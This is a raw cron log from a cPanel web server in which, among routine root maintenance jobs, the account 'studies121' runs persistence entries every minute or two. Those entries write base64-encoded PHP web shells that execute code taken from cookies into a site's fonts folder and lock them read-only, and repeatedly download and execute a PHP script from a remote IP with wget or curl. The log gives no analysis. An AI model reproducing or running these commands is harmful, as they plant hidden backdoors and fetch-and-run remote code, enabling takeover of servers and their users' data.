Aug 31 09:01:01 ip-184-168-122-23 CROND[1119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:02:01 ip-184-168-122-23 CROND[1211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:02:01 ip-184-168-122-23 CROND[1213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:02:01 ip-184-168-122-23 CROND[1215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:02:01 ip-184-168-122-23 CROND[1216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:02:01 ip-184-168-122-23 CROND[1214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:03:01 ip-184-168-122-23 CROND[1336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:03:01 ip-184-168-122-23 CROND[1337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:03:01 ip-184-168-122-23 CROND[1339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:03:01 ip-184-168-122-23 CROND[1341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:04:01 ip-184-168-122-23 CROND[1475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:04:01 ip-184-168-122-23 CROND[1477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:04:01 ip-184-168-122-23 CROND[1478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:04:01 ip-184-168-122-23 CROND[1479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:04:01 ip-184-168-122-23 CROND[1480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:05:01 ip-184-168-122-23 CROND[1570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:05:01 ip-184-168-122-23 CROND[1572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:05:02 ip-184-168-122-23 CROND[1576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:05:02 ip-184-168-122-23 CROND[1577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:05:02 ip-184-168-122-23 CROND[1579]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:05:02 ip-184-168-122-23 CROND[1580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:05:02 ip-184-168-122-23 CROND[1581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:06:01 ip-184-168-122-23 CROND[1785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:06:01 ip-184-168-122-23 CROND[1787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:06:01 ip-184-168-122-23 CROND[1790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:06:01 ip-184-168-122-23 CROND[1791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:06:02 ip-184-168-122-23 CROND[1793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:07:01 ip-184-168-122-23 CROND[1892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:07:01 ip-184-168-122-23 CROND[1895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:07:01 ip-184-168-122-23 CROND[1896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:07:01 ip-184-168-122-23 CROND[1897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:08:01 ip-184-168-122-23 CROND[1977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:08:01 ip-184-168-122-23 CROND[1981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:08:01 ip-184-168-122-23 CROND[1982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:08:01 ip-184-168-122-23 CROND[1980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:08:01 ip-184-168-122-23 CROND[1979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:09:01 ip-184-168-122-23 CROND[2066]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 09:09:01 ip-184-168-122-23 CROND[2068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:09:01 ip-184-168-122-23 CROND[2070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:09:01 ip-184-168-122-23 CROND[2071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:09:01 ip-184-168-122-23 CROND[2072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:10:01 ip-184-168-122-23 CROND[2183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:10:01 ip-184-168-122-23 CROND[2186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:10:01 ip-184-168-122-23 CROND[2188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:10:01 ip-184-168-122-23 CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:10:01 ip-184-168-122-23 CROND[2192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:10:01 ip-184-168-122-23 CROND[2195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:10:01 ip-184-168-122-23 CROND[2190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:10:01 ip-184-168-122-23 CROND[2196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:11:01 ip-184-168-122-23 CROND[2293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:11:01 ip-184-168-122-23 CROND[2294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:11:01 ip-184-168-122-23 CROND[2295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:11:01 ip-184-168-122-23 CROND[2296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:12:01 ip-184-168-122-23 CROND[2381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:12:01 ip-184-168-122-23 CROND[2382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:12:01 ip-184-168-122-23 CROND[2384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:12:01 ip-184-168-122-23 CROND[2385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:12:01 ip-184-168-122-23 CROND[2386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:13:01 ip-184-168-122-23 CROND[2485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:13:01 ip-184-168-122-23 CROND[2487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:13:01 ip-184-168-122-23 CROND[2488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:13:01 ip-184-168-122-23 CROND[2490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:14:01 ip-184-168-122-23 CROND[2678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:14:01 ip-184-168-122-23 CROND[2680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
